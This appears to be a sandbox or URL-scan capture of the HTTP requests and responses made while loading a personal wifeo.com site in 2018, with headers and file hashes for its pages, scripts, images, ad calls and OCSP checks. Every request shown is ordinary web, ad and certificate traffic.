no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /serving/unload/?version=15&unload=5540862615520228074@@21309103,7853764838924771920,41\|0\|0\|0\|0\|0\|0\|0\|0\|\|0\|1\|1\|5a82f000000e78770a1897d5fe0a43b6_1\|\|\|1\|0\|0\|\| HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /v5/img/logo-wifeo-160.svg HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/svg+xml Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Thu, 22 Sep 2016 07:10:30 GMT Etag: "1963-53d135b636155" Accept-Ranges: bytes Content-Length: 6499 Vary: User-Agent Connection: close --- Additional Info ---

Request	Response
GET / HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Set-Cookie: statcountmichaelnativel13=ok; expires=Wed, 14-Feb-2018 14:02:26 GMT; Max-Age=86400; path=/; domain=michaelnativel.wifeo.com Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Content-Length: 5217 Connection: close --- Additional Info --- Magic: gzip compressed data, from Unix Size: 5217 Md5: 831f9abf8643d1243ded59a344974f3a Sha1: ee85e593b6870da7c560a53b802743ceff5aa9bd Sha256: aa1308d4b696a49fc55f4603c6792a5a6fafa333d7f171d09d4487e4ea7afcaa
GET /ajax/libs/jquery/2.2.4/jquery.min.js HTTP/1.1 Host: ajax.googleapis.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.21.138 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Access-Control-Allow-Origin: * Timing-Allow-Origin: * Content-Length: 30028 Date: Mon, 12 Feb 2018 19:25:14 GMT Expires: Tue, 12 Feb 2019 19:25:14 GMT Last-Modified: Tue, 20 Dec 2016 18:17:03 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000 Age: 67032 --- Additional Info --- Magic: gzip compressed data, max compression Size: 30028 Md5: 543b05db46ecc6a1312a23e7e7a8820e Sha1: aff453218f0b6c281ed53da6997d4b1b9e990007 Sha256: 31c0d9866a5018d56375949c0222370a5b48d6ea6442d04b0c689217a68dffac
GET /ui/1.12.1/jquery-ui.min.js HTTP/1.1 Host: code.jquery.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	94.31.29.54 HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Date: Tue, 13 Feb 2018 14:02:26 GMT Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 14 Sep 2016 16:34:16 GMT Vary: Accept-Encoding Etag: W/"57d97c08-3dee4" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000, public Access-Control-Allow-Origin: * Server: NetDNA-cache/2.2 X-Cache: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 83774 Md5: ecd6894f51622e86cb5fbf4b5b76fa3e Sha1: c153c836d34a21a0f3cd7f493057afa4e70530bb Sha256: 6e73982fc6ce2f215fd90c977d6f71839a438dd8633f19c5743d51eb1a59566b
GET /format.css?1517595825 HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sat, 13 Jan 2018 11:07:35 GMT Etag: "292c-562a66370023f-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 142842853 Age: 0 Via: 1.1 varnish-v4 X-Cache: MISS Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 2298 Md5: 8372588c9f00a839ceebcc538fb07b68 Sha1: aed952758dbfa24d23d251e78cbcbd7065e06367 Sha256: 6515d60c65d2383c47558d0048bb36fc97b8aa3e8713cbbc5b942be345550747
GET /images/m/mic/Michael-Nativel-2013-6-.JPG HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sat, 24 Jan 2015 10:14:43 GMT Etag: "f25b-50d632c87b776" Accept-Ranges: bytes Content-Length: 62043 Vary: User-Agent Connection: close --- Additional Info --- Magic: JPEG image data, JFIF standard 1.01 Size: 62043 Md5: bb2335b031557d88c78c3ed8b7898a72 Sha1: c1e29448b76168ca113034eaaf9dd108b6a29561 Sha256: dd40909d65705ad6cf17fa5d3973f0e90a0388a30472ce6027ca468b96f18733
GET /wifeostatic-s3/ressources/bootstrap4/override-bootstrap.min.css?v1.31 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Thu, 01 Feb 2018 18:16:02 GMT Etag: "1512-5642a96a81a13-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 143657890 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 1506 Md5: d4e62396546f6095730831eb5f5fda6a Sha1: 6c5d7f7836f9ba33bd8f93510717a43f01d20617 Sha256: 357e2e41dc254f51f3dbc7735bf2594966b3f5ab099c9ade250842b8a8f56ad3
GET /images/c/cou/couverture-de-wesh-.jpg HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Access-Control-Allow-Origin: http://shop.wifeo.com Last-Modified: Sat, 01 Apr 2017 17:07:25 GMT Etag: "1a8a7-54c1df5ced000" Vary: User-Agent Expires: Sat, 14 Apr 2018 14:02:26 GMT Cache-Control: max-age = 2592000 X-Varnish: 143529248 Age: 0 Via: 1.1 varnish-v4 X-Cache: MISS Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: JPEG image data, JFIF standard 1.01 Size: 108711 Md5: af025d0c248e1e836a0bb7f0eb24692b Sha1: 127e2424c3ecc3e29bc354240cbd684d785cba41 Sha256: 62ea136aff29fd2cc7d9232a8f4c4cc9c5061c4812266734db3909c36821639c
GET /wifeostatic-s3/ressources/bootstrap4/css/bootstrap.min.css?v1 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Wed, 13 Dec 2017 10:10:24 GMT Etag: "1defc-56035f9cf47e4-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 142401995 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 19956 Md5: 28d3bfd1e27cb53c747cdeb900c24bc9 Sha1: 2308c55b1740d281e4fd5a778391df8b0f6d01c2 Sha256: f33aa667ef9d81d76aa28ec9166a996ad9e5874ce413be6d33f839b0cee8108d
GET /ads/promo/showads.js HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sun, 07 Aug 2016 13:34:56 GMT Etag: "16-5397b5d84d85a" Vary: User-Agent Expires: Sat, 14 Apr 2018 14:02:26 GMT Cache-Control: max-age = 2592000 X-Varnish: 142402005 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Content-Length: 22 Accept-Ranges: bytes --- Additional Info --- Magic: ASCII text, with no line terminators Size: 22 Md5: 980a6c3dda1f57bedff29b069d7394e1 Sha1: 5d303a833981c96a17b06b1177010ba04c2f1736 Sha256: 3a769c0c24dc5601ec54f39b6a608148dd6664a9378eb888fa9e72da3206c92f
GET /wifeolib.js?v2 HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sat, 06 Jan 2018 16:05:33 GMT Etag: "1c2-5621dbc21ad27-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 142784201 Age: 0 Via: 1.1 varnish-v4 X-Cache: MISS Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 296 Md5: 488fa183cd71c5e3a5d7df28b301715e Sha1: b487fa1a22c7de619827eed453d9642e177c4ebb Sha256: bbf6021d61648130c130202c6f04249f56ee63ac203cff38726ac0bb236d35c5
GET /pagead/js/adsbygoogle.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:26 GMT Expires: Tue, 13 Feb 2018 14:02:26 GMT Cache-Control: private, max-age=3600 Etag: 6502682663518856185 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 26103 X-XSS-Protection: 1; mode=block --- Additional Info --- Magic: gzip compressed data, max compression Size: 26103 Md5: 6ef11d0463c07a28cd7cf2803534c33b Sha1: 22c83cf48df58218feda2b7c44729bbbd3c43fdc Sha256: 4b1e7c12854ebf981237b37942a10e1ea9f0324332083e81150e5e73b04cbbd4
GET /wifeostatic-s3/ressources/modules/diaporama/lib.min.js HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Mon, 26 Jun 2017 12:20:58 GMT Etag: "2ddc-552dbfbb92688-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Expires: Sat, 14 Apr 2018 14:02:26 GMT Cache-Control: max-age = 2592000 X-Varnish: 143496350 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 2871 Md5: 69b86adc42e0a4eac12212456419cd76 Sha1: 0fbe0531bc79088d521f49a43c47ed1dfb454330 Sha256: a43cf679482b0506b59d7922534849fad7f6f6b47b0c2b95db8fd6fab3f212df
GET /wifeostatic-s3/ressources/wifeocss/common-vz.min.css?v1 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Tue, 16 Jan 2018 14:35:44 GMT Etag: "1850-562e5a557b6d4-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 143529263 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 1958 Md5: 300893f7bd28eb1607279ed8ad2b60a4 Sha1: 811094e55d549ea270d0a7debf1b3e24949b1b72 Sha256: ccdb2a9d9e13d8a1ad6f96f0edff0cca0283c849e5a6d8de6598ea05cbcd869a
GET /wifeostatic-s3/ressources/wifeojs/masonry.min.js?v1 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Mon, 04 Dec 2017 19:54:23 GMT Etag: "5e12-55f8915c1ffa8-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 142784204 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 7356 Md5: 161527114a2803aff504bcfb294f422f Sha1: 64f32ea2a09a4cc0d0d0eb52245954bc387d8dcf Sha256: af0b36296aa50c8194a84c2a2dcf7cd3049f75a1b3c41df121047837cb5ad4d9
GET //wifeostatic-s3/ressources/wifeojs/common-vz.min.js?v1 HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	194.146.225.153 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Last-Modified: Sun, 04 Feb 2018 16:33:28 GMT Etag: "4356-5646581615483-gzip" Vary: Accept-Encoding,User-Agent Content-Encoding: gzip X-Varnish: 143496356 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: gzip compressed data, from Unix Size: 5204 Md5: e2c72120b1d395a6e2ed0b1a9b5e4872 Sha1: ed44ea6f6e70337921507029dfc5110ea426acb1 Sha256: 9bd5164d85c8e69dba75f30e73275ae1a29a4cd90c3c23bcbbcf3e32a055d5e0
POST / HTTP/1.1 Host: ocsp.comodoca4.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 116 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:26 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 23:25:56 GMT Expires: Mon, 19 Feb 2018 23:25:56 GMT Etag: AE647C8BDA24ECE75914CDAC478CC0851A182CAB Cache-Control: max-age=551609,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 472 Connection: close --- Additional Info --- Magic: data Size: 472 Md5: 7d3d17abde90664c86b73397e2762d19 Sha1: ae647c8bda24ece75914cdac478cc0851a182cab Sha256: bd2cf3a65ef71b899a20502a517cbd41c1d3ac5ebeb5f4986ccab0cb3789a289
GET /images/i/img/IMG_20161021_211359_630.jpg HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Access-Control-Allow-Origin: http://shop.wifeo.com Last-Modified: Sun, 23 Oct 2016 15:07:01 GMT Etag: "32e1a-53f89a0a655ea" Vary: User-Agent Expires: Sat, 14 Apr 2018 14:02:26 GMT Cache-Control: max-age = 2592000 X-Varnish: 143657898 Age: 0 Via: 1.1 varnish-v4 X-Cache: MISS Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: JPEG image data, EXIF standard Size: 208410 Md5: e037656418114a7e399d8bb9fedfea81 Sha1: 5605a3a8ddae175578e2533b3718ee73f4fa1a00 Sha256: 7ce7ca65c5b8b875d2d18cc4a07e62cc02d7ee43f3bc2e267603c0c66f2e997e
POST / HTTP/1.1 Host: ocsp.comodoca4.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:27 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 11:30:53 GMT Expires: Mon, 19 Feb 2018 11:30:53 GMT Etag: 6300C75D0A453F081EC693DE6CD52E28574DC944 Cache-Control: max-age=508705,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 727 Connection: close --- Additional Info --- Magic: data Size: 727 Md5: 8f6cb4f522fb2149c4306d80e30d1119 Sha1: 6300c75d0a453f081ec693de6cd52e28574dc944 Sha256: 12a51058b7548f36c2b0386ed26ce51fdfb5e44a35e2b4fe4592824e86412e4e
POST / HTTP/1.1 Host: ocsp.usertrust.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:27 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 11:30:53 GMT Expires: Mon, 19 Feb 2018 11:30:53 GMT Etag: A32733318C0757E7E15BCFE416EE0611FBC2B84D Cache-Control: max-age=508705,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp15 Content-Length: 471 Connection: close --- Additional Info --- Magic: data Size: 471 Md5: 7f5c6479a459bb50ceaa9705d300762b Sha1: a32733318c0757e7e15bcfe416ee0611fbc2b84d Sha256: 2b27b2dd62db5b06bcdf8ecedeab57fb595b54ae7ec58e7be99923c30b442886
GET /ajax/libs/popper.js/1.12.3/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	104.19.193.102 HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Date: Tue, 13 Feb 2018 14:02:27 GMT Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Fri, 18 Aug 2017 12:49:19 GMT Expires: Sun, 03 Feb 2019 14:02:27 GMT Cache-Control: public, max-age=30672000 Access-Control-Allow-Origin: * Content-Encoding: gzip CF-Cache-Status: HIT Vary: Accept-Encoding Strict-Transport-Security: max-age=15780000; includeSubDomains Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 3ec8535068ab426d-OSL --- Additional Info --- Magic: gzip compressed data, from Unix Size: 6945 Md5: c0a9fcd5dfac23b1d6dcd36293b069ee Sha1: e77b4837de0228dcdece730f9600e70254ef31cb Sha256: 91599d91f72d19f93c85ebf2e4587b67abf0f6e577d681c2d985da6b2a5b3ee6
POST / HTTP/1.1 Host: ocsp.comodoca.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 116 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:27 GMT Server: Apache Last-Modified: Tue, 13 Feb 2018 08:37:59 GMT Expires: Tue, 20 Feb 2018 08:37:59 GMT Etag: 5B20DA2AB6D29D82474FA8EAEFF7B7D7928D7FD1 Cache-Control: max-age=584731,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 472 Connection: close --- Additional Info --- Magic: data Size: 472 Md5: 53f02023b13fb3270939962d6a7d09c9 Sha1: 5b20da2ab6d29d82474fa8eaeff7b7d7928d7fd1 Sha256: 52d473e60e56e7f8320732587a6f570c38d51e5c3455e425968a210662ef7e28
